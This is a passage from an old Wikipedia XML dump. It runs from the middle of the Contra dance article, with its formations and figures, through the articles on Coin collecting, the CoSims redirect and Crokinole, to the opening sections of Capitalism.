Contra dances are arranged in long lines of facing or opposing partners, called ''sets''. The three predominant arrangements or formations are proper, improper, and Becket. &lt;!-- most people don't care about trivia... Becket formation is named after &quot;Becket Reel&quot; by [[Herbie Gaudreau]], probably the first contra dance to use this formation. The dance itself is named after the town of [[Becket, Massachusetts|Becket]], [[Massachusetts]]. --&gt; A dancer and his or her partner interacting mostly with an adjacent couple, called &quot;neighbors&quot; for each round of the dance. The sub-groups of two couples is known as the &quot;minor set&quot;. Rare (but formerly prevalent) dance sequences have three couples per minor set; these are called &quot;triple minor&quot;, while the usual grouping is called &quot;duple minor&quot;. Couples consist of one &quot;lead&quot; (or &quot;gentleman&quot;) and one &quot;follow&quot; (or &quot;lady&quot;). By custom, leads are male, and follows are female, though this need not be the case.

; Proper :
 L1 L2 L1 L2 L1 L2 L1 L2...
 G1 G2 G1 G2 G1 G2 G1 G2...

; Improper :
 G1 L2 G1 L2 G1 L2 G1 L2...
 L1 G2 L1 G2 L1 G2 L1 G2...

; Becket :
 L1 G1 L1 G1 L1 G1 L1 G1...
 G2 L2 G2 L2 G2 L2 G2 L2...

; Indecent :
 L1 G2 L1 G2 L1 G2 L1 G2...
 G1 L2 G1 L2 G1 L2 G1 L2...

; Key : band is to the left, '''L'''=lady, '''G'''=gent, '''1'''=1st couple, '''2'''=2nd couple)

Sets are generally arranged so they run along the length of the hall, with the &quot;top&quot; or &quot;head&quot; of the set being the end closest to the band and caller. Correspondingly, the &quot;bottom&quot; or &quot;foot&quot; of the set is the end furthest from the caller. Dancers moving toward the band are moving &quot;up the hall&quot;, and &quot;down the hall&quot; when moving away. As a dance progresses, so do the dancers: the arrangement of the figures causes each couple to move together up or down the hall, when they reach the end of the hall they reverse direction across the set. When a couple reaches the end of the line, they simply turn around and join back in, going in the opposite direction.

===Figures===
A figure is a short dance &quot;step&quot; or &quot;move&quot;, sort of a choreographic building block. Most figures take eight counts of music, although figures with four or sixteen counts are also common. Each dance is a collection of figures assembled to allow the dancers to progress along the set. &quot;Weight&quot; refers to the weight of dancers as they pull against each other. Many figures must be done faster and with extra flair if &quot;weight&quot; is applied. Most experienced dancers often feel that this is more entertaining.

====Basic Figures for Singles and Pairs====
; Allemande : Two dancers join either right or left hands in a thumbs-up grip and walk around each other.
; Balance : The couple faces each other with both hands joined (less commonly with one hand joined) and, in time to the music, takes two steps toward each other, and then two steps apart. It is typical for experienced dancers to add a flourish such as a stomp or jump during the balance, giving the figure a strong rhythmic feel. Often followed by a swing. Balances may also be done in lines or circles.
; Butterfly Whirl : The gentleman and lady turn around, while keeping hold of their partner's waist. Facing the same direction, with inside arms reaching across their partner's backs, in a circle the lady walks forward and the gent backs up. This often leads into a ladies' chain, or something with the ladies in the center. A common prequel to this figure is the following: gentlemen do a left hand allemande, then &quot;scoop up&quot; their partner by putting their arm around their lady's waist. Next the gents let go of each other and the two couples butterfly whirl back to place.
; Courtesy Turn : Generally done when the ladies are crossing the set to the gentlemen. The gentlemen allows the lady to turn around while moving, continuing to move forward. The gentlemen moves backward during the figure.
; [[Dosado|Do-Si-Do]] : Two dancers begin facing each other, move so as to pass right shoulders, then back-to-back, then left shoulders, ending where they began. Sometimes they do-si-do 1 1/2 times, exchanging places. As an embellishment, experienced dancers will often add a spin to this move. Often, newcomers ill-advisedly copy this flashy, but potentially disorienting behavior.
; Gypsy : This relatively recent addition to the repertoire was adapted from English country dancing. The pair looks each other in the eyes and walks around each other in the designated direction, without touching each other. The amount of eye contact depends on various factors including individual comfort and local tradition.
; [[Promenade (dance move)|Promenade]] : As a couple, with the lady on the right, the couple walks where the caller directs. There are several different handholds. In one method, the gent holds hands with the lady, left hands (his arm across his body by) low, and his right arm across her back with right hands above the lady's right shoulder. In another method right hands are joined, and left hands are joined, and both are kept in front of the dancer's body, with the right hands on top. The gent may choose to spin the lady under his arm at the end as a flourish. Promenades are frequently used to bring dancers back to place (often useful when dancers get lost mid-dance).
; Roll Away with a Half Sashay : This figure begins with two opposite-gender-role dancers facing in the same direction, holding hands.  One of them takes a step or two toward the other, who is pulled in front of him/her while changing hands.  At the end of the figure, the dancers have changed places but are still facing in the same direction as initially.  (Most commonly, this figure starts with the lady on the gent's left and the lady passes in front of the gent).  Giving weight is of key importance in this figure.
; Swing : A standard ballroom swing. The couple takes standard ballroom position, with the lady's left hand on the gent's shoulder, the gent's right hand on the lady's waist, and their free hands clasped together in the air. (Experienced dancers often experiment with [http://www.io.com/~entropy/contradance/articles/swing-positions.html other ways to place their hands].) One can either walk or use a buzz-step; one partner may walk while the other uses the buzz-step. For the buzz-step, the right foot remains on the ground, with the partner's right foot to the right of it. The left foot pushes against the ground repeatedly, moving the dancer in a circle clockwise. Weight is very important in this figure. A swing usually ends facing across the set, sometimes down the set, rarely up the set, but always with the lead on the left and the follow on the right. It is generally recommended that newcomers get an experienced dancer to teach them this figure before the dance begins.
; Turn Alone : Each person turns around in place. When in the center of a line of four it is polite to turn towards the person on the end. This often follows &quot;Down the Hall Four In Line,&quot; (see below).
; Turn as a Couple : In this figure a couple with hands joined turns around in such a way that the ladies remain on the same side of their gent, normally the right hand side. The California Twirl is commonly used to turn as a couple.
; Twirl to Swap : This is a generic term for a number of dance moves which begin with a couple holding hands; they raise their joined hands, and the lady walks under them while the gent passes behind her, to trade places.  There are a number of variants of this, depending on facing and on which hand is joined:
* California Twirl: The lady begins on the gent's right facing in some particular direction; they have the convenient hand joined.  The figure ends with them both facing in the opposite direction from their original one.
* Star Through: The couple begins facing each other, with the gent's right hand and the lady's left hand joined.  If the figure begins with the gent facing north and the lady south, then both will be facing east when the figure ends (with the lady on the gent's right).
* Box the Gnat: The couple begins facing each other, with right hands joined.  They end facing each other.
* Swat the Flea: The couple begins facing each other, with left hands joined.  They end facing each other.

====Basic Figures for Four or More====
; Star : The four dancers in a minor set all join either right or left hands in the center of the set and walk around the set. A star usually turns one full time around, less commonly stars will turn 3/4 or 1 1/4 turns. There are two styles of stars, and which style of star is used generally depends upon local custom, although there are some dances that require one or the other:
*''New England style'', sometimes called ''wrist-grip stars'' or ''wagon-wheel stars'': Each dancer places his or her hand on the wrist of the person in front of them as they face around the circle, forming a 'wagon-wheel' shape.
*''Southern style'', sometimes called ''handshake-grip stars'', ''English-style'', or ''hands-across stars'': Each dancer joins hands with the person directly across the set (usually the person of the same gender). It generally does not matter whose hands are on top or bottom (ladies' or gents').
; Ladies Chain : A ''half ladies chain,'' which is more common and usually what a caller means when they just say &quot;ladies chain,&quot; has the ladies joining right hands in the center and pulling past each other to the opposite gent; the gents then give the ladies a ''courtesy turn'' (see above). This causes the ladies to trade sides in the set. A ''full ladies chain'' is two half-chains in succession, with everyone winding up where they started.
; Long Lines Forward &amp; Back : All dancers face toward the dancers across the set from them, and join hands with the dancers beside them to form &quot;long lines&quot; on the sides of the set. These two lines then, in unison (ideally), take four steps together, and then four steps backward.
; Right &amp; Left Through : Both couples face each other across the set. They walk toward each other, passing through in the center such that the ladies pass left shoulders with each other and right shoulders with the opposite gent. The gents then give the ladies a ''courtesy turn'' (see above). The effect is that the couples trade sides of the set. A regional variation includes taking the right hand of the person opposite you as you pass by (followed by the left-in-left of the courtesy turn, perhaps hence &quot;''right &amp; left'' through&quot;?).
; Petronella Turn : Four dancers, equally spaced around a small ring, move into the position of the dancer on their right in four steps while rotating (spinning) individually clockwise 3/4. This movement is adapted from the eponymous dance &quot;Petronella,&quot; a traditional contra dance derived from a Scottish country dance of the same name. As a controversial embellishment, the folk process has added a &quot;clap-clap&quot; of hands on beats 3.5 and 4 of the 4-beat movement.
; Hey For Four : The dancers execute a series of passes and turns with the other dancers in their minor set, crossing to the opposite side of the set and then returning. In this version of the hey, assume that neighbors are standing next to each other on the side of the set, facing their partners: 
[[Image:Hey_for_four.jpg|frame|Hey For Four]]
:*The ladies begin passing right shoulders in the center of the set while the men sidle to right to take the recent position of their neighbor
:*Partners pass left shoulders as the gents advance to the center
:*The gents then pass right shoulders in the center, while the ladies make wide looping turns on the sides to turn around
:*Neighbors pass left shoulders
:*This is approximately one-half of the hey. The second half essentially replicates the first half (except that the men, now facing out, loop to the left instead of sidling to the right). At the end of the hey, the dancers are restored to the starting position, with the exception that the men are facing out of the set.
:Note that this figure is executed smoothly, with all dancers moving all the time, and not piece-by-piece as this description might suggest. It is strongly recommended that newcomers get a few experienced dancers to teach them this figure.
; Half Hey : Half a hey for four. Instead of crossing the set and returning, the dancers merely cross the set once.
; Figure Eight : a weaving figure in which dancers pass between two standing people and move around them in a figure 8 pattern. A full figure of 8 returns the dancer to original position; a half figure of 8 leaves the dancer on the opposite side of the set from original position. In doing this figure, the gent lets his partner pass in front of him.
; Circle Left (or) Circle Right: Four people join hands and walk around in a circle in a clockwise (or) counterclockwise direction.  Circling can be 1/4 of a circle (rare), 1/2 (not common), 3/4 (frequent), once around (common),or 1-1/4 (not rare), each of these choreographing the dancers into a specific placement needed for the flow and pattern of the dance.  Circling left (CW) comprises 98% of contradance circling. 
; Down the Hall Four In Line: Two couples join hands so that they form a line of four, and walk down the hall, or away from the music.
; Pass Through : This figure is often used to progress (couple one to moves down the hall and couple two up). A dancer walks across the set, passing the person opposite him or her by his or her right shoulder, without use of hands.  This move frequently follows either a circle or a neighbor do-si-do.
; Cross Trail : A pass through followed by the lady crossing in front of the gent to her left, turning counterclockwise from right to left. The gent follows the reverse path from left to right. They end up facing away from each other, so if starting by facing across the set, they end with one facing up the set and one down.  Can be used to progress, if the lady is the neighbor of the gent in each pair doing the figure.

====Advanced Figures====
; Turn Contra-Corners : A figure involving six dancers and taking a full 8 bars (16 beats) of music to complete.  The center couple of the group of six dancers is the ''active'' couple; the other four dancers in the group are the ''corners.''  If a member of the active couple looks across the set, to the right of his partner, he sees his ''first corner''.  On the other side of his partner is his ''second corner.''  Typically, one's corners are of the opposite gender to oneself.
; :The figure is danced as follows:  the active couple takes right hands in the center, and ''allemande right'' until they reach their first corner.  Actives drop right hands and ''allemande left'' with their first corners until they meet each other again.  Actives now let go of first corners and ''allemande right'' until they reach their second corners.  This final allemande is finished when the members of the active couple are facing each other again.  The next move usually involves the active couple performing a figure beginning with the right hand or right shoulder, and is quite frequently a ''balance and swing.''
; :Because moves within this figure begin and end in the middle of musical phrases, require a great deal of awareness of positioning, and is frequently unprompted by the [[caller (dance)|caller]] after the figure's start, this is a very difficult figure to those who are new to it, especially beginner dancers.  
; Right Hand High, Left Hand Low : This figure begins with three dancers holding hands in a line.  The middle dancer raises his/her right hand; the dancer on the left walks under the raised hand, followed by the middle dancer, while the dancer on the right walks behind.  The effect is to turn the line around as a unit (preserving the order of the dancers).
; Dixie Twirl : In a line of four dancers, the center pair arches. The extreme right person leads through the arch (taking the one on their left along for the ride) while the left person walks to the right. This results in an inverted line now facing the other way.
; See Saw (left shoulder do-si-do) : Instead of starting the do-si-do with the right shoulder, the dancer starts with the left shoulder. (Two dancers begin facing each other, move so as to pass left shoulders, then back-to-back, then right shoulders, ending where they began. As an embellishment, experienced dancers will often add a spin to this move, as in a do-si-do.)

==External links==
See groups at:
* [http://www.cdss.org Country Dance and Song Society]
* [http://www.neffa.org New England Folk Festival Association]

Contra dance defined:
* [http://www.sbcds.org/contradance/whatis/ Gary Shapiro's What Is Contra Dance?]
* [http://www.freenet.hamilton.on.ca/link/jig/a_contra_dancers_primer.htm Hamilton Country Dancers' Contra Dance Primer]

Research Resources:
* [http://www.izaak.unh.edu/nhltmd/ University of New Hampshire Special Collection of Music and Dance]
Find Dances at:
* [http://www.contradancelinks.com Contra Dance Links]
* [http://www.thedancegypsy.com The Dance Gypsy]
* [http://www.tedcrane.com/DanceDB/ Ted Crane's Dance Database]
*[http://www.io.com/~entropy/contradance/articles/swing-positions.html Some Swing Positions]

[[Category:European folk dances]]
[[Category:Social dance]]
[[Category:Historical dance]]

[[fr:Contredanse]]</text>
    </revision>
  </page>
  <page>
    <title>Coin collecting</title>
    <id>5413</id>
    <revision>
      <id>39906231</id>
      <timestamp>2006-02-16T18:57:42Z</timestamp>
      <contributor>
        <ip>129.33.49.251</ip>
      </contributor>
      <comment>/* Coin collecting details */</comment>
      <text xml:space="preserve">'''Coin collecting''' is the [[hobby]] of [[collecting]] [[coin]]s.

Coin collecting is to be distinguished from '''[[numismatics]]''', the scientific study of [[money]] and its history in all its varied forms. Numismatics includes the study of coins, [[banknotes]], stock certificates, [[medal]]s, medallions, and [[token coins]].

==History==
While [[hoarding]] coins due to their [[Value (economics)|value]] goes back to the beginning of coinage, collecting them as [[art]] pieces was a later development.
Known as the &quot;Hobby of Kings&quot;, modern coin collecting is generally believed to have begun in the [[fourteenth century]] with [[Petrarch]].
Notes of [[Roman emperor]]s having coin collections are also known, but it remains somewhat unclear whether these coins were studied, considered curiosities or were merely hoarded.

==Coin collecting specialties==
[[Image:Many Coins.jpg|frame|right]]
There are almost as many different ways of collecting coins as there are collectors. Many collectors specialize in some area of collecting, at least for a time. 

===Casual collector===
The most common type of coin collector is the casual collector. Casual collectors can be both kids and adults.  They just collect random coins, because they like it, and because it's fun.  The only difference is they don't spend nearly as much money on buying and preserving coins.  When the casual collector comes across something out of the ordinary, such as a denomination that doesn't circulate often, or an obsolete type, perhaps [[Mint-made errors|error coins]] or a modified coin such as a two headed magician's piece he will toss it in a drawer. Casual collectors can get more involved when the chance of finding something interesting in circulation increases. For example, the recent [[statehood quarters]] circulating commemoratives in the [[United States]] has increased the number of casual collectors. Casual collectors often obtain more interesting pieces as gifts. The gift of a rare coin has converted many casual collectors to curious collectors.

===Curious collector===
When a collector goes beyond circulation finds and gifts, and develops more of an interest in coins, he often graduates to being a curious collector. The curious collector will buy some coins (usually inexpensive), browse coin shops, or look at coins on [[eBay]] or internet sites. He buys whatever seems interesting at the moment, without a really clear goal in mind. In this way, a survey of potentially interesting areas of coin collecting is made. As he interacts with more seasoned collectors, he is often encouraged to read books and study before making any serious decisions about buying expensive coins, or choosing an area of interest to settle into for a while. At some point, many curious collectors learn enough, and decide enough about their interest to become an advanced coin collector.

===Advanced coin collectors===
Each advanced coin collector is unique. Some become dedicated generalists, looking for a few examples of everything. If they have enough resources, this can result in an astounding collection, as that of [[King Farouk]] of [[Egypt]], who collected everything (and not just coins either). Some are completists, wanting an example of everything within a certain set. For example, [[Louis Eliasberg]] was the only collector thus far to assemble a complete set of known coins of the [[United States coinage|United States]]. Most collectors determine that they must focus their limited financial resources on a more narrow interest. Some focus on coins of a certain nation or historic period, some collect coins from various nations, some settle on error coins or [[exonumia]] like tokens and medals. 

At the very highest levels of coin collecting, it can become a highly competitive sport. Recently, this has exhibited itself in registry sets, where the most complete set of coins with the highest numerical grades assigned by grading services are published by the grading service. This can lead to astronomical prices as dedicated collectors strive for the very best examples of each date and mint mark combination.

====National coin collecting====
It is common for collectors of national coins to specialise in the coins of their own country. Popular ways to collect national coins include collecting one of every date and [[mint (coin)|mint]] mark for a particular series (date/mint mark sets) a limited completist approach. Collecting a representative coin of each different series is termed collecting by type. For example, a date set in [[United Kingdom|Britain]] may include one [[Victoria of the United Kingdom|Queen Victoria]] large [[penny]] for each year, 1837&amp;ndash;1901. In another example, a [[United States|U.S.]] type set might include an example of each variety of each denomination produced.  Many collectors of national coins create unique combinations of date, mint mark, and type sets.

====Historical coin collecting====
Collectors of ancient and medieval coins are often more interested in historical significance than other collectors. Coins of [[Roman currency|Roman]], [[Byzantine currency|Byzantine]], [[Greek coins|Greek]], [[India]]n, [[Celt]]ic, [[Parthian]], [[Merovingian]], [[Ostrogoth|Ostrogothic]] and ancient [[Israelite]] origin are amongst the more popular ancient coins collected. Specialties tend to vary greatly, but one prevalent approach is the collection of coins minted during a particular emperor's reign. A completist might strive for a representative coin from each emperor.

====World coin collecting====
World coins is the term given to collections of relatively recent modern coins from nations around the world. Collectors of world coins are often interested in geography. They can &quot;travel the world&quot; vicariously through their collecting. A popular completist way to collect world coins is to acquire representative examples from every country or coin issuing authority. Some collect by subject, for example, collecting coins from around the world featuring animals. Because world coins are usually very inexpensive, (sometimes being sold by the pound) it may be a good starting point for children.  Many children find foreign coins by looking under change-to-cash machines, where customers throw away assorted coins found in their penny jars.  These coins can range from Canada, to South Africa, to Korea. It is pretty amazing what people find worthless, and throw away.

====Error coin collecting====
The collecting of [[Mint-made errors|error coins]] is a modern development, made possible through the automation of coin manufacturing processes during the 19th century. Collectors of ancient and medieval coins accept coin &quot;errors&quot; because manual coin manufacturing proceses lend unique features to each coin struck. Collectors of modern coins find errors desirable because modern processes make the likelihood of their production very limited. Examples of coin errors include doubled dies, repunched mint marks, overdates, double strikes, off metal coins, displaced or off center coins, clipped coins, and mules (different denominations on two sides of one coin).

====Coin collecting for children====
The hobby of coin collecting requires very little skill whatsoever.  All you need is an interest in coins, of course. There are many things to learn about holding the coins, and taking care of them.  Many kids start by picking up a coin they have never seen before, and continue collecting. Of course, to get more serious about coin collecting, some spend money on books, coins, folders, and protective items.  There are plenty of cheap collecting stores everywhere.  There is no minimum or maximum to how much can be spent on coin collecting, and children of any age can start.

====Coin collecting details====
In coin collecting the condition of a coin is paramount to its value; a high-quality example is often worth many times as much as a poor example&amp;mdash;although there are always exceptions to this general rule. Collectors have created systems to describe the overall condition of coins. One older system describes a coin as falling within a range from &quot;poor&quot; to &quot;uncirculated&quot;.  The newer Sheldon system, used primarily in America, has been adopted by the [[American Numismatic Association]]. It uses a 1&amp;ndash;70 numbering scale, where 70 represents a perfect specimen and 1 represents a coin barely identifiable as to its type. 

Several [[coin grading]] services will grade and encapsulate coins in a labeled, air-tight plastic holder. This process is commonly known as &quot;[[coin slabbing|slabbing]]&quot;.  Two highly respected grading services are the [[Numismatic Guaranty Corporation]] (NGC) and [[Professional Coin Grading Service]] (PCGS). However, professional grading services are the subject of controversy because grading is subjective&amp;mdash;a coin may receive a different grade by a different service, or even upon resubmission to the same service. Due to potentially large differences in value over slight differences in a coin's condition, some commercial coin dealers will repeatedly resubmit a coin to a grading service in the hopes of a higher grade.  Buyers are encouraged to look into the quality and features of the various grading services before deciding to purchase a coin based solely on the grade given by a service. The grading services came into being (PCGS being first) in an effort to bring more safety to investors in rare coins. While they have reduced the number of counterfeits foisted upon unsuspecting investors, and have improved matters substantially, because of the differences in market grading (which determines the price) and technical grading, the goal of creating a site unseen market for coins remains somewhat elusive.

Damage of any sort, such as holes, edge dents, repairs, cleaning, reengraving or gouges, can substantially reduce the value of a coin.  Specimens are occasionally &quot;whizzed&quot;--cleaned or polished in an attempt to pass them off as being higher grades or as proof strikes. In general, the buyer is cautioned to be careful of any unknown seller's claims. Because of the substantially lower prices for cleaned or damaged coins, some specialize in their collection. There is a market for almost any rare or obsolete coin.

If purchasing for investment, it is suggested that the buyer first thoroughly research both the coins and their markets.  As discussed in the [[numismatics]] entry, prices cycle and can drop, particular for coins that are not in great long-term collector demand. Condition, surviving population, and demand determine price. As a beginning collector, surviving population can be initially estimated from mintage figures. Specialists learn the exceptions due to melting and other circumstances with experience and study. Age, as such, is not a relevant factor. Claims made by advertisers using popular media outlets should be treated with great scepticism.

A great way to start collecting for investment is to buy the best quality you can.  The easy way to do that is buy proof sets directly from the mint.  This enables you to assured of the quality and know you got it for the best price.  Sometimes sets get hot and prices rise quickly.  Other times you have to just sit back and wait.  With a proof set, given enough time the price will rise.

==Coin collecting trivia==
[[Image:United States penny, obverse, 2002.jpg|thumb|left|The Lincoln cent.]]
The first international convention for coin collectors was held in August 15&amp;ndash;18, [[1962]], in [[Detroit, Michigan]], sponsored by the [[American Numismatic Association]] and the [[Canadian Numismatic Association]]. Attendance was estimated at 40,000.

The most collected coin is probably the [[Penny (U.S. coin)|United States Lincoln cent]]. Minted in tremendous numbers from 1909 to the present, they are inexpensive and widely available with the exception of a few rare dates.

The scientific study of coins is known as &quot;[[numismatics]]&quot;. A numismatist may be a coin collector or not. A coin collector may be a numismatist or not. 







==See also==
{{commonscat|Coins}}
* [[Exonumia]]
* [[List of coins]]
* [[Numismatics]]
* [[Regular issue coinage]]
* [[Coin grading]]

==External links==

* [http://allcoins.org/ Allcoins.org] - Directory listing of coin information and services
* [http://www.coinfacts.com/ CoinFacts.com - The Internet Encyclopedia of US Coins] - Pictures, rarity, and historical information for US coins
* [http://www.cointalk.org/ Coin Talk Forum] - Community website for numismatists and coin collectors
* [http://www.fleur-de-coin.com/e-library/ancientcoinminting.asp?sec=2 How coins are minted] - From ancient to modern times
* [http://www.coinpeople.com Numismatic Forum, Virtual Coin Museum]
* [http://www.heritagecoin.com/features/numisarticles.php?id=96 The Numismatic Frontier] - Discussion of World coins
* [http://dihu.ancients.info/ Numismopolis] - Beginners guide to ancient coin collecting
* [http://www.stujoe.com/content/view/30/26/ US Coin Value Determination Guide]



[[de:Münzen sammeln]]
[[it:Collezionismo di monete]]
[[he:&amp;#1488;&amp;#1497;&amp;#1505;&amp;#1493;&amp;#1507; &amp;#1502;&amp;#1496;&amp;#1489;&amp;#1506;&amp;#1493;&amp;#1514;]]

[[Category:Coins|Collecting]]</text>
    </revision>
  </page>
  <page>
    <title>CoSims</title>
    <id>5414</id>
    <revision>
      <id>15903624</id>
      <timestamp>2002-05-27T02:02:08Z</timestamp>
      <contributor>
        <username>Bryan Derksen</username>
        <id>66</id>
      </contributor>
      <minor />
      <comment>changing into a redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Wargaming]]
</text>
    </revision>
  </page>
  <page>
    <title>Crokinole</title>
    <id>5415</id>
    <revision>
      <id>41312213</id>
      <timestamp>2006-02-26T13:44:32Z</timestamp>
      <contributor>
        <username>Blotwell</username>
        <id>106585</id>
      </contributor>
      <minor />
      <comment>recat</comment>
      <text xml:space="preserve">[[image:vc-pic1.jpg|right|thumb|Image from an in-development computer version of Crokinole - click to enlarge]]
[[image:VC-april10.jpg|right|thumb|Another image from the same in-development computer version of Crokinole - click to enlarge]]

'''Crokinole''' is an action [[board game]] similar to [[carrom]], [[shove ha'penny]] or [[squails]] with elements of [[shuffleboard]] and [[curling]] reduced to table-top size. Players take turns shooting 12 checker-like pieces across the board surface. The pieces have concave faces to reduce sliding friction and often have a central hole. They may also be ring shaped and formed of wood or plastic. 

Board dimensions vary with a playing surface typically of polished wood or laminate approximately 27 inches in diameter. The arrangement is 3 concentric rings worth 5, 10, and 15 points as you move in from the outside. There is a shallow 20 point hole at the center. The inner 15 point ring is guarded with 8 small bumpers or posts. The outer edge of the board is raised a bit to keep errant shots from flying out, and while often is square or round, it is the distinct eight-sided octagonal board that is most associated with the game nowdays.

Players flick or fillip their pieces (or in some cases use small [[cue stick]]s, like those that would be used for [[Eight ball|Pool]] and [[Billiards]]) from a quadrant shaped outer ring, which in turn is surrounded by a gutter. Rules vary, nevertheless, you must shoot and hit or touch an enemy piece if present, or the shot disc is 'fouled' and removed from the board. Many (but not all) rules also state that if no opposing pieces are on the board, you must shoot for and land completely in the guarded center 15-point ring. This is often called the 'no hiding' rule, since it prevents players from placing their first shots where their opponent must traverse completely though the guarded centre ring to hit them and avoid fouling. Scoring occurs after all pieces have been played and is differential: opposing pieces in the same ring cancel. Play continues until a predetermined score is reached.

The game is of uncertain origin, however the first authenticated board was made by a [[Mennonites|Mennonite]] sign painter in Ontario in 1875, and the game has remained particularly popular among Canadian Mennonites. It was patented in 1880.  It is also called Pichenotte. 

The flip side of [[Carrom]]-brand game boards is a Crokinole board. 

The world championship is held every year in [[Tavistock, Ontario]], [[Canada]].

== Bibliography ==
* &quot;The Crokinole Book&quot; by Wayne Kelly, ISBN 091978383X 
*  &quot;Sports and games in Canadian children's books&quot; by Irene Elizabeth Aubrey; National Library of Canada; ISBN 0662517636
* &quot;Board and table games from many civilizations&quot; by R. C. Bell,  Dover Publications, N.Y.,1979; ISBN 0486238555

== External links ==
* [http://www.crokinole.com Crokinole.com] - Rules, FAQ and gallery of boards
* [http://www.crokinole.de German Crokinole site]
* [http://www.worldcrokinole.com World Crokinole Championships site]

[[Category:Tabletop games of physical skill]]

[[eo:Crokinole]]</text>
    </revision>
  </page>
  <page>
    <title>Capitalism</title>
    <id>5416</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42130181</id>
      <timestamp>2006-03-04T00:43:24Z</timestamp>
      <contributor>
        <username>RJII</username>
        <id>141644</id>
      </contributor>
      <comment>/* Pro-capitalist */</comment>
      <text xml:space="preserve">{{dablink|The page is about the economic system. For other uses of the word, see [[Capitalism (disambiguation)]].}}
{{wikiquote}}
'''Capitalism''' has been defined in various ways.{{ref|Wikiquote}} In common usage, it means an [[economics|economic]] or  [[Socioeconomics|socio-economic system]] in which the [[means of production]] are predominantly [[property|privately owned]] and operated for [[profit]].  The [[price]]s of [[good (economics)|goods]], [[services]], and [[labour (economics)|labor]] are affected by the forces of [[supply and demand]].  Decisions regarding [[investment]] are made [[private sector|privately]], and control of [[production]] and [[logistics|distribution]] is primarily in the hands of [[companies]] each acting in its own interest.

While most people{{fact}} regard the Western [[developed country|developed]] countries as capitalist{{ref|oecd}}, some of these economies may be more strictly called &quot;[[mixed economies]]&quot;{{ref|Case}}, because they contain state-owned means of production and significant government [[economic interventionism]].  &lt;sup&gt;[[#Which economies are &quot;capitalist&quot;?|more...]]&lt;/sup&gt;

==Etymology==
The word ''capital'' has roots in the trade and ownership of animals. The [[Latin]] root of the word is ''capitalis'', from the [[Proto-Indo-European language|proto-Indo-European]] ''kaput'', which means &quot;head&quot;, this being how wealth was measured. The more heads of cattle, the better. The terms ''[[chattel]]'' (meaning goods, animals, or [[slaves]]) and even ''[[cattle]]'' itself also derive from this same origin.

The lexical connections between animal trade and economics can also be seen in the names of many currencies and words about money: fee (''faihu''), rupee (''rupya''), buck (a deerskin), pecuniary (''pecu''), stock (''livestock''), and peso (''pecu'' or ''pashu'') all derive from animal-trade origins.

[[Image:Thackeray_william.jpg|150px|thumb|right|The first known use of the word &quot;capitalism&quot;, if not yet in our sense, was by novelist William Thackeray in 1854]]
The first use of the word ''Kapitalist'' was in 1848 in the [[Communist Manifesto]] by Marx and Engels; however, &quot;Kapitalismus,&quot; the german word for &quot;capitalism&quot; was not used.  The first use of the word ''capitalism'' is by novelist [[William Makepeace Thackeray|Thackeray]] in 1854, by which he meant ownership of a large amount of capital, not a system of production. 

In 1867 [[Pierre-Joseph Proudhon|Proudhon]] used the term ''capitalist'' to refer to owners of capital, and Marx and Engels refer to the &quot;capitalist form of production&quot; (&quot;''kapitalistische Produktionsform''&quot;) and in ''[[Das Kapital]]'' to ''&quot;Kapitalist&quot;'', &quot;capitalist&quot; (meaning a private owner of capital). None of them, however, used &quot;Capitalism&quot; in our current meaning. The first person to do so in an impactful way was [[Werner Sombart]] in his ''Modern Capitalism'' in 1902.  [[Max Weber]], a close friend and colleage of Sombart's, used the term in his ''[[The Protestant Ethic and the Spirit of Capitalism]]'' in 1904.

The [[Oxford English Dictionary]] cites the use of the term &quot;private capitalism&quot; by [[Karl Daniel Adolf Douai]], German-American [[socialism|socialist]] and [[abolitionism|abolitionist]] in the late 19th century, in an 1877 work entitled &quot;Better Times&quot;, and a citation by an unknown author in 1884 in the pages of [[Pall Mall Magazine|Pall Mall]] magazine. 

The definition of capitalism given in dictionaries has changed over time. For example, the 1909 [[Century Dictionary]] defined capitalism as:
# The state of having capital or property; possession of capital.
# The concentration or massing of capital in the hands of a few; also, the power or influence of large or combined capital.

The contemporary definition, however, probably influenced by the philosophical and ideological debates of the 19th century, refers to an ''economic system'' (as Sombart and Weber did). For example, the [[Webster's Third New International Dictionary|Merriam-Webster Third International Unabridged Dictionary]] refers to capitalism as: &quot; an economic system characterized by private or corporation ownership of capital goods, by investments that are determined by private decision rather than by state control, and by prices, production, and the distribution of goods that are determined mainly in a free market.&quot;

==Capitalist theory==
Some emphasize the private ownership of [[capital (economics)|capital]] as being the essence of capitalism, or emphasize the importance of a [[free market]] as a mechanism for the movement and accumulation of capital. Others measure capitalism through class analysis, including the class structure of society and relations between [[labour (economics)|labor]] and the capitalist class. Some note the growth of a [[International trade|global market]] system. 

In describing capitalism, Hayek points to the [[self-organization|self-organizing]] character of economies which are not centrally-planned by government. Many, such as Adam Smith, point to what is believed to be the value of individuals pursuing their [[self-interest]] as opposed to altruistically working to serve the &quot;[[common good]].&quot; [[Karl Polanyi]], a seminal figure in the field of [[economic anthropology]], argued that at the time Smith was primarily describing a period of organization of production along commercial lines. For Polanyi, capitalism is distinguishable from earlier [[mercantilist]] and commercial eras by the commodification of land, labour-power,and money. It appeared in mature form as a result of the problems raised when an industrial factory system requiring long-term investment and entailing corresponding risks was introduced into an internationalized commercial framework. Historically speaking, the most pressing needs of this new system were an assured supply of the elements of industry- land, elaborate machinery, and labour, and these imperatives led to the afforementioned commodification; not through a process of self-organizing activity, but rather as a result of deliberate, often forceful, state intervention. (see [[Karl Polanyi]], [[The Great Transformation]]) 

Many of these theories call attention to various [[economics|economic]] practices that became institutionalized in [[Europe]] between the 16th and 19th centuries, especially involving the right of individuals and groups of individuals acting as &quot;legal persons&quot; (or [[corporations]]) to buy and sell [[capital good]]s, as well as [[Land (economics)|land]], labor, and [[money]] (see [[finance]] and [[credit (finance)|credit]]), in a [[free market]] (see [[trade]]), and relying on the state for the enforcement of [[private property]] rights rather than on a system of feudal protection and obligations.

Due to the vagueness of the term, debates and controversies have emerged. In particular, there is contention on whether capitalism is an actual system, or an ideal, i.e. on whether it has actually been implemented in particular economies, or if not, then to what degree capitalism exists in them (see ''[[mixed economy]]''). From a historic point of view, there is an argument on whether capitalism is specific to a particular era or geographic region or if it is a universally valid system that may exist throughout various times and spaces. Some interpret capitalism as a purely economic system; others however contend that capitalism is a complex of political, social, and cultural institutions. 

===Contrasts with capitalism===
{{npov-section}}

